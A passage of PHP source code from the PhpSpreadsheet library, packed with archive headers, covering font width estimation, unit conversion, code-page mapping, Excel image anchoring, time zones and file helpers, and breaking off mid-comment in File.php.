0 ); // Width of text in pixels excl. padding, approximation // and addition because Excel adds some padding, just use approx width of 'n' glyph $columnWidth = self::getTextWidthPixelsApprox($cellText, $font, $rotation) + $columnWidthAdjust; } // Convert from pixel width to column width $columnWidth = Drawing::pixelsToCellDimension((int) $columnWidth, $defaultFont ?? new FontStyle()); // Return return round($columnWidth, 4); } /** * Get GD text width in pixels for a string of text in a certain font at a certain rotation angle. */ public static function getTextWidthPixelsExact(string $text, FontStyle $font, int $rotation = 0): float { // font size should really be supplied in pixels in GD2, // but since GD2 seems to assume 72dpi, pixels and points are the same $fontFile = self::getTrueTypeFontFileFromFont($font); $textBox = imagettfbbox($font->getSize() ?? 10.0, $rotation, $fontFile, $text); if ($textBox === false) { // @codeCoverageIgnoreStart throw new PhpSpreadsheetException('imagettfbbox failed'); // @codeCoverageIgnoreEnd } // Get corners positions $lowerLeftCornerX = $textBox[0]; $lowerRightCornerX = $textBox[2]; $upperRightCornerX = $textBox[4]; $upperLeftCornerX = $textBox[6]; // Consider the rotation when calculating the width return round(max($lowerRightCornerX - $upperLeftCornerX, $upperRightCornerX - $lowerLeftCornerX), 4); } /** * Get approximate width in pixels for a string of text in a certain font at a certain rotation angle. * * @return int Text width in pixels (no padding added) */ public static function getTextWidthPixelsApprox(string $columnText, FontStyle $font, int $rotation = 0): int { $fontName = $font->getName(); $fontSize = $font->getSize(); // Calculate column width in pixels. // We assume fixed glyph width, but count double for "fullwidth" characters. // Result varies with font name and size. switch ($fontName) { case 'Arial': // value 8 was set because of experience in different exports at Arial 10 font. $columnWidth = (int) (8 * StringHelper::countCharactersDbcs($columnText)); $columnWidth = $columnWidth * $fontSize / 10; // extrapolate from font size break; case 'Verdana': // value 8 was found via interpolation by inspecting real Excel files with Verdana 10 font. $columnWidth = (int) (8 * StringHelper::countCharactersDbcs($columnText)); $columnWidth = $columnWidth * $fontSize / 10; // extrapolate from font size break; default: // just assume Calibri // value 8.26 was found via interpolation by inspecting real Excel files with Calibri 11 font. $columnWidth = (int) (8.26 * StringHelper::countCharactersDbcs($columnText)); $columnWidth = $columnWidth * $fontSize / 11; // extrapolate from font size break; } // Calculate approximate rotated column width if ($rotation !== 0) { if ($rotation == Alignment::TEXTROTATION_STACK_PHPSPREADSHEET) { // stacked text $columnWidth = 4; // approximation } else { // rotated text $columnWidth = $columnWidth * cos(deg2rad($rotation)) + $fontSize * abs(sin(deg2rad($rotation))) / 5; // approximation } } // pixel width is an integer return (int) $columnWidth; } /** * Calculate an (approximate) pixel size, based on a font points size. * * @param float|int $fontSizeInPoints Font size (in points) * * @return int Font size (in pixels) */ public static function fontSizeToPixels(float|int $fontSizeInPoints): int { return (int) ((4 / 3) * $fontSizeInPoints); } /** * Calculate an (approximate) pixel size, based on inch size. * * @param float|int $sizeInInch Font size (in inch) * * @return float|int Size (in pixels) */ public static function inchSizeToPixels(int|float $sizeInInch): int|float { return $sizeInInch * 96; } /** * Calculate an (approximate) pixel size, based on centimeter size. * * @param float|int $sizeInCm Font size (in centimeters) * * @return float Size (in pixels) */ public static function centimeterSizeToPixels(int|float $sizeInCm): float { return $sizeInCm * 37.795275591; } /** * Returns the font path given the font. * * @return string Path to TrueType font file */ public static function getTrueTypeFontFileFromFont(FontStyle $font, bool $checkPath = true): string { if ($checkPath && (!file_exists(self::$trueTypeFontPath) || !is_dir(self::$trueTypeFontPath))) { throw new PhpSpreadsheetException('Valid directory to TrueType Font files not specified'); } $name = $font->getName(); $fontArray = array_merge(self::FONT_FILE_NAMES, self::$extraFontArray); if (!isset($fontArray[$name])) { throw new PhpSpreadsheetException('Unknown font name "' . $name . '". Cannot map to TrueType font file'); } $bold = $font->getBold(); $italic = $font->getItalic(); $index = 'x'; if ($bold) { $index .= 'b'; } if ($italic) { $index .= 'i'; } $fontFile = $fontArray[$name][$index]; $separator = ''; if (mb_strlen(self::$trueTypeFontPath) > 1 && mb_substr(self::$trueTypeFontPath, -1) !== '/' && mb_substr(self::$trueTypeFontPath, -1) !== '\\') { $separator = DIRECTORY_SEPARATOR; } $fontFileAbsolute = preg_match('~^([A-Za-z]:)?[/\\\\]~', $fontFile) === 1; if (!$fontFileAbsolute) { $fontFile = self::findFontFile(self::$trueTypeFontPath, $fontFile) ?? self::$trueTypeFontPath . $separator . $fontFile; } // Check if file actually exists if ($checkPath && !file_exists($fontFile) && !$fontFileAbsolute) { $alternateName = $name; if ($index !== 'x' && $fontArray[$name][$index] !== $fontArray[$name]['x']) { // Bold but no italic: // Comic Sans // Tahoma // Neither bold nor italic: // Impact // Lucida Console // Lucida Sans Unicode // Microsoft Sans Serif // Symbol if ($index === 'xb') { $alternateName .= ' Bold'; } elseif ($index === 'xi') { $alternateName .= ' Italic'; } elseif ($fontArray[$name]['xb'] === $fontArray[$name]['xbi']) { $alternateName .= ' Bold'; } else { $alternateName .= ' Bold Italic'; } } $fontFile = self::$trueTypeFontPath . $separator . $alternateName . '.ttf'; if (!file_exists($fontFile)) { throw new PhpSpreadsheetException('TrueType Font file not found'); } } return $fontFile; } public const CHARSET_FROM_FONT_NAME = [ 'EucrosiaUPC' => self::CHARSET_ANSI_THAI, 'Wingdings' => self::CHARSET_SYMBOL, 'Wingdings 2' => self::CHARSET_SYMBOL, 'Wingdings 3' => self::CHARSET_SYMBOL, ]; /** * Returns the associated charset for the font name. * * @param string $fontName Font name * * @return int Character set code */ public static function getCharsetFromFontName(string $fontName): int { return self::CHARSET_FROM_FONT_NAME[$fontName] ?? self::CHARSET_ANSI_LATIN; } /** * Get the effective column width for columns without a column dimension or column with width -1 * For example, for Calibri 11 this is 9.140625 (64 px). * * @param FontStyle $font The workbooks default font * @param bool $returnAsPixels true = return column width in pixels, false = return in OOXML units * * @return ($returnAsPixels is true ? int : float) Column width */ public static function getDefaultColumnWidthByFont(FontStyle $font, bool $returnAsPixels = false): float|int { if (isset(self::DEFAULT_COLUMN_WIDTHS[$font->getName()][$font->getSize()])) { // Exact width can be determined $columnWidth = $returnAsPixels ? self::DEFAULT_COLUMN_WIDTHS[$font->getName()][$font->getSize()]['px'] : self::DEFAULT_COLUMN_WIDTHS[$font->getName()][$font->getSize()]['width']; } else { // We don't have data for this particular font and size, use approximation by // extrapolating from Calibri 11 $columnWidth = $returnAsPixels ? self::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['px'] : self::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['width']; $columnWidth = $columnWidth * $font->getSize() / 11; // Round pixels to closest integer if ($returnAsPixels) { $columnWidth = (int) round($columnWidth); } } return $columnWidth; } /** * Get the effective row height for rows without a row dimension or rows with height -1 * For example, for Calibri 11 this is 15 points. * * @param FontStyle $font The workbooks default font * * @return float Row height in points */ public static function getDefaultRowHeightByFont(FontStyle $font): float { $name = $font->getName(); $size = $font->getSize(); if (isset(self::DEFAULT_COLUMN_WIDTHS[$name][$size])) { $rowHeight = self::DEFAULT_COLUMN_WIDTHS[$name][$size]['height']; } elseif ($name === 'Arial' || $name === 'Verdana') { $rowHeight = self::DEFAULT_COLUMN_WIDTHS[$name][10]['height'] * $size / 10.0; } else { $rowHeight = self::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['height'] * $size / 11.0; } return $rowHeight; } private static function findFontFile(string $startDirectory, string $desiredFont): ?string { $fontPath = null; if ($startDirectory === '') { return null; } if (file_exists("$startDirectory/$desiredFont")) { $fontPath = "$startDirectory/$desiredFont"; } else { $iterations = 0; $it = new RecursiveDirectoryIterator( $startDirectory, RecursiveDirectoryIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS ); foreach ( new RecursiveIteratorIterator( $it, RecursiveIteratorIterator::LEAVES_ONLY, RecursiveIteratorIterator::CATCH_GET_CHILD ) as $filex ) { /** @var string */ $file = $filex; if (basename($file) === $desiredFont) { $fontPath = $file; break; } ++$iterations; if ($iterations > 5000) { // @codeCoverageIgnoreStart break; // @codeCoverageIgnoreEnd } } } return $fontPath; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/XMLWriter.php000064400000004672151676714400021034 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception as SpreadsheetException; class XMLWriter extends \XMLWriter { public static bool $debugEnabled = false; /** Temporary storage method */ const STORAGE_MEMORY = 1; const STORAGE_DISK = 2; /** * Temporary filename. */ private string $tempFileName = ''; /** * Create a new XMLWriter instance. * * @param int $temporaryStorage Temporary storage location * @param ?string $temporaryStorageFolder Temporary storage folder */ public function __construct(int $temporaryStorage = self::STORAGE_MEMORY, ?string $temporaryStorageFolder = null) { // Open temporary storage if ($temporaryStorage == self::STORAGE_MEMORY) { $this->openMemory(); } else { // Create temporary filename if ($temporaryStorageFolder === null) { $temporaryStorageFolder = File::sysGetTempDir(); } $this->tempFileName = (string) @tempnam($temporaryStorageFolder, 'xml'); // Open storage if (empty($this->tempFileName) || $this->openUri($this->tempFileName) === false) { // Fallback to memory... $this->openMemory(); } } // Set default values if (self::$debugEnabled) { $this->setIndent(true); } } /** * Destructor. */ public function __destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } } public function __wakeup(): void { $this->tempFileName = ''; throw new SpreadsheetException('Unserialize not permitted'); } /** * Get written data. */ public function getData(): string { if ($this->tempFileName == '') { return $this->outputMemory(true); } $this->flush(); return file_get_contents($this->tempFileName) ?: ''; } /** * Wrapper method for writeRaw. * * @param null|string|string[] $rawTextData */ public function writeRawData($rawTextData): bool { if (is_array($rawTextData)) { $rawTextData = implode("\n", $rawTextData); } return $this->writeRaw(htmlspecialchars($rawTextData ?? '')); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Drawing.php000064400000010356151676714400020566 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use SimpleXMLElement; class Drawing { /** * Convert pixels to EMU. * * @param int $pixelValue Value in pixels * * @return float|int Value in EMU */ public static function pixelsToEMU(int $pixelValue): int|float { return $pixelValue * 9525; } /** * Convert EMU to pixels. * * @param int|SimpleXMLElement $emuValue Value in EMU * * @return int Value in pixels */ public static function EMUToPixels($emuValue): int { $emuValue = (int) $emuValue; if ($emuValue != 0) { return (int) round($emuValue / 9525); } return 0; } /** * Convert pixels to column width. Exact algorithm not known. * By inspection of a real Excel file using Calibri 11, one finds 1000px ~ 142.85546875 * This gives a conversion factor of 7. Also, we assume that pixels and font size are proportional. * * @param int $pixelValue Value in pixels * * @return float|int Value in cell dimension */ public static function pixelsToCellDimension(int $pixelValue, \PhpOffice\PhpSpreadsheet\Style\Font $defaultFont): int|float { // Font name and size $name = $defaultFont->getName(); $size = $defaultFont->getSize(); if (isset(Font::DEFAULT_COLUMN_WIDTHS[$name][$size])) { // Exact width can be determined return $pixelValue * Font::DEFAULT_COLUMN_WIDTHS[$name][$size]['width'] / Font::DEFAULT_COLUMN_WIDTHS[$name][$size]['px']; } // We don't have data for this particular font and size, use approximation by // extrapolating from Calibri 11 return $pixelValue * 11 * Font::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['width'] / Font::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['px'] / $size; } /** * Convert column width from (intrinsic) Excel units to pixels. * * @param float $cellWidth Value in cell dimension * @param \PhpOffice\PhpSpreadsheet\Style\Font $defaultFont Default font of the workbook * * @return int Value in pixels */ public static function cellDimensionToPixels(float $cellWidth, \PhpOffice\PhpSpreadsheet\Style\Font $defaultFont): int { // Font name and size $name = $defaultFont->getName(); $size = $defaultFont->getSize(); if (isset(Font::DEFAULT_COLUMN_WIDTHS[$name][$size])) { // Exact width can be determined $colWidth = $cellWidth * Font::DEFAULT_COLUMN_WIDTHS[$name][$size]['px'] / Font::DEFAULT_COLUMN_WIDTHS[$name][$size]['width']; } else { // We don't have data for this particular font and size, use approximation by // extrapolating from Calibri 11 $colWidth = $cellWidth * $size * Font::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['px'] / Font::DEFAULT_COLUMN_WIDTHS['Calibri'][11]['width'] / 11; } // Round pixels to closest integer $colWidth = (int) round($colWidth); return $colWidth; } /** * Convert pixels to points. * * @param int $pixelValue Value in pixels * * @return float Value in points */ public static function pixelsToPoints(int $pixelValue): float { return $pixelValue * 0.75; } /** * Convert points to pixels. * * @param float|int $pointValue Value in points * * @return int Value in pixels */ public static function pointsToPixels($pointValue): int { if ($pointValue != 0) { return (int) ceil($pointValue / 0.75); } return 0; } /** * Convert degrees to angle. * * @param int $degrees Degrees * * @return int Angle */ public static function degreesToAngle(int $degrees): int { return (int) round($degrees * 60000); } /** * Convert angle to degrees. * * @param int|SimpleXMLElement $angle Angle * * @return int Degrees */ public static function angleToDegrees($angle): int { $angle = (int) $angle; if ($angle != 0) { return (int) round($angle / 60000); } return 0; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/CodePage.php000064400000011075151676714400020641 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class CodePage { public const DEFAULT_CODE_PAGE = 'CP1252'; private static array $pageArray = [ 0 => 'CP1252', // CodePage is not always correctly set when the xls file was saved by Apple's Numbers program 367 => 'ASCII', // ASCII 437 => 'CP437', // OEM US //720 => 'notsupported', // OEM Arabic 737 => 'CP737', // OEM Greek 775 => 'CP775', // OEM Baltic 850 => 'CP850', // OEM Latin I 852 => 'CP852', // OEM Latin II (Central European) 855 => 'CP855', // OEM Cyrillic 857 => 'CP857', // OEM Turkish 858 => 'CP858', // OEM Multilingual Latin I with Euro 860 => 'CP860', // OEM Portugese 861 => 'CP861', // OEM Icelandic 862 => 'CP862', // OEM Hebrew 863 => 'CP863', // OEM Canadian (French) 864 => 'CP864', // OEM Arabic 865 => 'CP865', // OEM Nordic 866 => 'CP866', // OEM Cyrillic (Russian) 869 => 'CP869', // OEM Greek (Modern) 874 => 'CP874', // ANSI Thai 932 => 'CP932', // ANSI Japanese Shift-JIS 936 => 'CP936', // ANSI Chinese Simplified GBK 949 => 'CP949', // ANSI Korean (Wansung) 950 => 'CP950', // ANSI Chinese Traditional BIG5 1200 => 'UTF-16LE', // UTF-16 (BIFF8) 1250 => 'CP1250', // ANSI Latin II (Central European) 1251 => 'CP1251', // ANSI Cyrillic 1252 => 'CP1252', // ANSI Latin I (BIFF4-BIFF7) 1253 => 'CP1253', // ANSI Greek 1254 => 'CP1254', // ANSI Turkish 1255 => 'CP1255', // ANSI Hebrew 1256 => 'CP1256', // ANSI Arabic 1257 => 'CP1257', // ANSI Baltic 1258 => 'CP1258', // ANSI Vietnamese 1361 => 'CP1361', // ANSI Korean (Johab) 10000 => 'MAC', // Apple Roman 10001 => 'CP932', // Macintosh Japanese 10002 => 'CP950', // Macintosh Chinese Traditional 10003 => 'CP1361', // Macintosh Korean 10004 => 'MACARABIC', // Apple Arabic 10005 => 'MACHEBREW', // Apple Hebrew 10006 => 'MACGREEK', // Macintosh Greek 10007 => 'MACCYRILLIC', // Macintosh Cyrillic 10008 => 'CP936', // Macintosh - Simplified Chinese (GB 2312) 10010 => 'MACROMANIA', // Macintosh Romania 10017 => 'MACUKRAINE', // Macintosh Ukraine 10021 => 'MACTHAI', // Macintosh Thai 10029 => ['MACCENTRALEUROPE', 'MAC-CENTRALEUROPE'], // Macintosh Central Europe 10079 => 'MACICELAND', // Macintosh Icelandic 10081 => 'MACTURKISH', // Macintosh Turkish 10082 => 'MACCROATIAN', // Macintosh Croatian 21010 => 'UTF-16LE', // UTF-16 (BIFF8) This isn't correct, but some Excel writer libraries erroneously use Codepage 21010 for UTF-16LE 32768 => 'MAC', // Apple Roman //32769 => 'unsupported', // ANSI Latin I (BIFF2-BIFF3) 65000 => 'UTF-7', // Unicode (UTF-7) 65001 => 'UTF-8', // Unicode (UTF-8) 99999 => ['unsupported'], // Unicode (UTF-8) ]; public static function validate(string $codePage): bool { return in_array($codePage, self::$pageArray, true); } /** * Convert Microsoft Code Page Identifier to Code Page Name which iconv * and mbstring understands. * * @param int $codePage Microsoft Code Page Indentifier * * @return string Code Page Name */ public static function numberToName(int $codePage): string { if (array_key_exists($codePage, self::$pageArray)) { $value = self::$pageArray[$codePage]; if (is_array($value)) { foreach ($value as $encoding) { if (@iconv('UTF-8', $encoding, ' ') !== false) { self::$pageArray[$codePage] = $encoding; return $encoding; } } throw new PhpSpreadsheetException("Code page $codePage not implemented on this system."); } else { return $value; } } if ($codePage == 720 || $codePage == 32769) { throw new PhpSpreadsheetException("Code page $codePage not supported."); // OEM Arabic } throw new PhpSpreadsheetException('Unknown codepage: ' . $codePage); } public static function getEncodings(): array { return self::$pageArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/Xls.php000064400000027054151676714400017744 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Helper\Dimension; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Xls { /** * Get the width of a column in pixels. We use the relationship y = ceil(7x) where * x is the width in intrinsic Excel units (measuring width in number of normal characters) * This holds for Arial 10. * * @param Worksheet $worksheet The sheet * @param string $col The column * * @return int The width in pixels */ public static function sizeCol(Worksheet $worksheet, string $col = 'A'): int { // default font of the workbook $font = $worksheet->getParentOrThrow()->getDefaultStyle()->getFont(); $columnDimensions = $worksheet->getColumnDimensions(); // first find the true column width in pixels (uncollapsed and unhidden) if (isset($columnDimensions[$col]) && $columnDimensions[$col]->getWidth() != -1) { // then we have column dimension with explicit width $columnDimension = $columnDimensions[$col]; $width = $columnDimension->getWidth(); $pixelWidth = Drawing::cellDimensionToPixels($width, $font); } elseif ($worksheet->getDefaultColumnDimension()->getWidth() != -1) { // then we have default column dimension with explicit width $defaultColumnDimension = $worksheet->getDefaultColumnDimension(); $width = $defaultColumnDimension->getWidth(); $pixelWidth = Drawing::cellDimensionToPixels($width, $font); } else { // we don't even have any default column dimension. Width depends on default font $pixelWidth = Font::getDefaultColumnWidthByFont($font, true); } // now find the effective column width in pixels if (isset($columnDimensions[$col]) && !$columnDimensions[$col]->getVisible()) { $effectivePixelWidth = 0; } else { $effectivePixelWidth = $pixelWidth; } return $effectivePixelWidth; } /** * Convert the height of a cell from user's units to pixels. By interpolation * the relationship is: y = 4/3x. If the height hasn't been set by the user we * use the default value. If the row is hidden we use a value of zero. * * @param Worksheet $worksheet The sheet * @param int $row The row index (1-based) * * @return int The width in pixels */ public static function sizeRow(Worksheet $worksheet, int $row = 1): int { // default font of the workbook $font = $worksheet->getParentOrThrow()->getDefaultStyle()->getFont(); $rowDimensions = $worksheet->getRowDimensions(); // first find the true row height in pixels (uncollapsed and unhidden) if (isset($rowDimensions[$row]) && $rowDimensions[$row]->getRowHeight() != -1) { // then we have a row dimension $rowDimension = $rowDimensions[$row]; $rowHeight = $rowDimension->getRowHeight(); $pixelRowHeight = (int) ceil(4 * $rowHeight / 3); // here we assume Arial 10 } elseif ($worksheet->getDefaultRowDimension()->getRowHeight() != -1) { // then we have a default row dimension with explicit height $defaultRowDimension = $worksheet->getDefaultRowDimension(); $pixelRowHeight = $defaultRowDimension->getRowHeight(Dimension::UOM_PIXELS); } else { // we don't even have any default row dimension. Height depends on default font $pointRowHeight = Font::getDefaultRowHeightByFont($font); $pixelRowHeight = Font::fontSizeToPixels((int) $pointRowHeight); } // now find the effective row height in pixels if (isset($rowDimensions[$row]) && !$rowDimensions[$row]->getVisible()) { $effectivePixelRowHeight = 0; } else { $effectivePixelRowHeight = $pixelRowHeight; } return (int) $effectivePixelRowHeight; } /** * Get the horizontal distance in pixels between two anchors * The distanceX is found as sum of all the spanning columns widths minus correction for the two offsets. * * @param float|int $startOffsetX Offset within start cell measured in 1/1024 of the cell width * @param float|int $endOffsetX Offset within end cell measured in 1/1024 of the cell width * * @return int Horizontal measured in pixels */ public static function getDistanceX(Worksheet $worksheet, string $startColumn = 'A', float|int $startOffsetX = 0, string $endColumn = 'A', float|int $endOffsetX = 0): int { $distanceX = 0; // add the widths of the spanning columns $startColumnIndex = Coordinate::columnIndexFromString($startColumn); $endColumnIndex = Coordinate::columnIndexFromString($endColumn); for ($i = $startColumnIndex; $i <= $endColumnIndex; ++$i) { $distanceX += self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($i)); } // correct for offsetX in startcell $distanceX -= (int) floor(self::sizeCol($worksheet, $startColumn) * $startOffsetX / 1024); // correct for offsetX in endcell $distanceX -= (int) floor(self::sizeCol($worksheet, $endColumn) * (1 - $endOffsetX / 1024)); return $distanceX; } /** * Get the vertical distance in pixels between two anchors * The distanceY is found as sum of all the spanning rows minus two offsets. * * @param int $startRow (1-based) * @param float|int $startOffsetY Offset within start cell measured in 1/256 of the cell height * @param int $endRow (1-based) * @param float|int $endOffsetY Offset within end cell measured in 1/256 of the cell height * * @return int Vertical distance measured in pixels */ public static function getDistanceY(Worksheet $worksheet, int $startRow = 1, float|int $startOffsetY = 0, int $endRow = 1, float|int $endOffsetY = 0): int { $distanceY = 0; // add the widths of the spanning rows for ($row = $startRow; $row <= $endRow; ++$row) { $distanceY += self::sizeRow($worksheet, $row); } // correct for offsetX in startcell $distanceY -= (int) floor(self::sizeRow($worksheet, $startRow) * $startOffsetY / 256); // correct for offsetX in endcell $distanceY -= (int) floor(self::sizeRow($worksheet, $endRow) * (1 - $endOffsetY / 256)); return $distanceY; } /** * Convert 1-cell anchor coordinates to 2-cell anchor coordinates * This function is ported from PEAR Spreadsheet_Writer_Excel with small modifications. * * Calculate the vertices that define the position of the image as required by * the OBJ record. * * +------------+------------+ * | A | B | * +-----+------------+------------+ * | |(x1,y1) | | * | 1 |(A1)._______|______ | * | | | | | * | | | | | * +-----+----| BITMAP |-----+ * | | | | | * | 2 | |______________. | * | | | (B2)| * | | | (x2,y2)| * +---- +------------+------------+ * * Example of a bitmap that covers some of the area from cell A1 to cell B2. * * Based on the width and height of the bitmap we need to calculate 8 vars: * $col_start, $row_start, $col_end, $row_end, $x1, $y1, $x2, $y2. * The width and height of the cells are also variable and have to be taken into * account. * The values of $col_start and $row_start are passed in from the calling * function. The values of $col_end and $row_end are calculated by subtracting * the width and height of the bitmap from the width and height of the * underlying cells. * The vertices are expressed as a percentage of the underlying cell width as * follows (rhs values are in pixels): * * x1 = X / W *1024 * y1 = Y / H *256 * x2 = (X-1) / W *1024 * y2 = (Y-1) / H *256 * * Where: X is distance from the left side of the underlying cell * Y is distance from the top of the underlying cell * W is the width of the cell * H is the height of the cell * * @param string $coordinates E.g. 'A1' * @param int $offsetX Horizontal offset in pixels * @param int $offsetY Vertical offset in pixels * @param int $width Width in pixels * @param int $height Height in pixels */ public static function oneAnchor2twoAnchor(Worksheet $worksheet, string $coordinates, int $offsetX, int $offsetY, int $width, int $height): ?array { [$col_start, $row] = Coordinate::indexesFromString($coordinates); $row_start = $row - 1; $x1 = $offsetX; $y1 = $offsetY; // Initialise end cell to the same as the start cell $col_end = $col_start; // Col containing lower right corner of object $row_end = $row_start; // Row containing bottom right corner of object // Zero the specified offset if greater than the cell dimensions if ($x1 >= self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_start))) { $x1 = 0; } if ($y1 >= self::sizeRow($worksheet, $row_start + 1)) { $y1 = 0; } $width = $width + $x1 - 1; $height = $height + $y1 - 1; // Subtract the underlying cell widths to find the end cell of the image while ($width >= self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end))) { $width -= self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end)); ++$col_end; } // Subtract the underlying cell heights to find the end cell of the image while ($height >= self::sizeRow($worksheet, $row_end + 1)) { $height -= self::sizeRow($worksheet, $row_end + 1); ++$row_end; } // Bitmap isn't allowed to start or finish in a hidden cell, i.e. a cell // with zero height or width. if (self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_start)) == 0) { return null; } if (self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end)) == 0) { return null; } if (self::sizeRow($worksheet, $row_start + 1) == 0) { return null; } if (self::sizeRow($worksheet, $row_end + 1) == 0) { return null; } // Convert the pixel values to the percentage value expected by Excel $x1 = $x1 / self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_start)) * 1024; $y1 = $y1 / self::sizeRow($worksheet, $row_start + 1) * 256; $x2 = ($width + 1) / self::sizeCol($worksheet, Coordinate::stringFromColumnIndex($col_end)) * 1024; // Distance to right side of object $y2 = ($height + 1) / self::sizeRow($worksheet, $row_end + 1) * 256; // Distance to bottom of object $startCoordinates = Coordinate::stringFromColumnIndex($col_start) . ($row_start + 1); $endCoordinates = Coordinate::stringFromColumnIndex($col_end) . ($row_end + 1); return [ 'startCoordinates' => $startCoordinates, 'startOffsetX' => $x1, 'startOffsetY' => $y1, 'endCoordinates' => $endCoordinates, 'endOffsetX' => $x2, 'endOffsetY' => $y2, ]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/TimeZone.php000064400000004200151676714400020714 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use DateTimeZone; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class TimeZone { /** * Default Timezone used for date/time conversions. */ protected static string $timezone = 'UTC'; /** * Validate a Timezone name. * * @param string $timezoneName Time zone (e.g. 'Europe/London') * * @return bool Success or failure */ private static function validateTimeZone(string $timezoneName): bool { return in_array($timezoneName, DateTimeZone::listIdentifiers(DateTimeZone::ALL_WITH_BC), true); } /** * Set the Default Timezone used for date/time conversions. * * @param string $timezoneName Time zone (e.g. 'Europe/London') * * @return bool Success or failure */ public static function setTimeZone(string $timezoneName): bool { if (self::validateTimeZone($timezoneName)) { self::$timezone = $timezoneName; return true; } return false; } /** * Return the Default Timezone used for date/time conversions. * * @return string Timezone (e.g. 'Europe/London') */ public static function getTimeZone(): string { return self::$timezone; } /** * Return the Timezone offset used for date/time conversions to/from UST * This requires both the timezone and the calculated date/time to allow for local DST. * * @param ?string $timezoneName The timezone for finding the adjustment to UST * @param float|int $timestamp PHP date/time value * * @return int Number of seconds for timezone adjustment */ public static function getTimeZoneAdjustment(?string $timezoneName, $timestamp): int { $timezoneName = $timezoneName ?? self::$timezone; $dtobj = Date::dateTimeFromTimestamp("$timestamp"); if (!self::validateTimeZone($timezoneName)) { throw new PhpSpreadsheetException("Invalid timezone $timezoneName"); } $dtobj->setTimeZone(new DateTimeZone($timezoneName)); return $dtobj->getOffset(); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Shared/File.php000064400000013740151676714400020052 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Exception; use PhpOffice\PhpSpreadsheet\Reader\Exception as ReaderException; use ZipArchive; class File { /** * Use Temp or File Upload Temp for temporary files. */ protected static bool $useUploadTempDirectory = false; /** * Set the flag indicating whether the File Upload Temp directory should be used for temporary files. */ public static function setUseUploadTempDirectory(bool $useUploadTempDir): void { self::$useUploadTempDirectory = (bool) $useUploadTempDir; } /** * Get the flag indicating whether the File Upload Temp directory should be used for temporary files. */ public static function getUseUploadTempDirectory(): bool { return self::$useUploadTempDirectory; } // https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT // Section 4.3.7 // Looks like there might be endian-ness considerations private const ZIP_FIRST_4 = [ "\x50\x4b\x03\x04", // what it looks like on my system "\x04\x03\x4b\x50", // what it says in documentation ]; private static function validateZipFirst4(string $zipFile): bool { $contents = @file_get_contents($zipFile, false, null, 0, 4); return in_array($contents, self::ZIP_FIRST_4, true); } /** * Verify if a file exists. */ public static function fileExists(string $filename): bool { // Sick construction, but it seems that // file_exists returns strange values when // doing the original file_exists on ZIP archives... if (strtolower(substr($filename, 0, 6)) == 'zip://') { // Open ZIP file and verify if the file exists $zipFile = substr($filename, 6, strrpos($filename, '#') - 6); $archiveFile = substr($filename, strrpos($filename, '#') + 1); if (self::validateZipFirst4($zipFile)) { $zip = new ZipArchive(); $res = $zip->open($zipFile); if ($res === true) { $returnValue = ($zip->getFromName($archiveFile) !== false); $zip->close(); return $returnValue; } } return false; } return file_exists($filename); } /** * Returns canonicalized absolute pathname, also for ZIP archives. */ public static function realpath(string $filename): string { // Returnvalue $returnValue = ''; // Try using realpath() if (file_exists($filename)) { $returnValue = realpath($filename) ?: ''; } // Found something? if ($returnValue === '') { $pathArray = explode('/', $filename); while (in_array('..', $pathArray) && $pathArray[0] != '..') { $iMax = count($pathArray); for ($i = 1; $i < $iMax; ++$i) { if ($pathArray[$i] == '..') { array_splice($pathArray, $i - 1, 2); break; } } } $returnValue = implode('/', $pathArray); } // Return return $returnValue; } /** * Get the systems temporary directory. */ public static function sysGetTempDir(): string { $path = sys_get_temp_dir(); if (self::$useUploadTempDirectory) { // use upload-directory when defined to allow running on environments having very restricted // open_basedir configs if (ini_get('upload_tmp_dir') !== false) { if ($temp = ini_get('upload_tmp_dir')) { if (file_exists($temp)) { $path = $temp; } } } } return realpath($path) ?: ''; } public static function temporaryFilename(): string { $filename = tempnam(self::sysGetTempDir(), 'phpspreadsheet'); if ($filename === false) { throw new Exception('Could not create temporary file'); } return $filename; } /** * Assert that given path is an existing file and is readable, otherwise throw exception. */ public static function assertFile(string $filename, string $zipMember = ''): void { if (!is_file($filename)) { throw new ReaderException('File "' . $filename . '" does not exist.'); } if (!is_readable($filename)) { throw new ReaderException('Could not open "' . $filename . '" for reading.'); } if ($zipMember !== '') { $zipfile = "zip://$filename#$zipMember"; if (!self::fileExists($zipfile)) { // Has the file been saved with Windoze directory separators rather than unix? $zipfile = "zip://$filename#" . str_replace('/', '\\', $zipMember); if (!self::fileExists($zipfile)) { throw new ReaderException("Could not find zip member $zipfile"); } } } } /** * Same as assertFile, except return true/false and don't throw 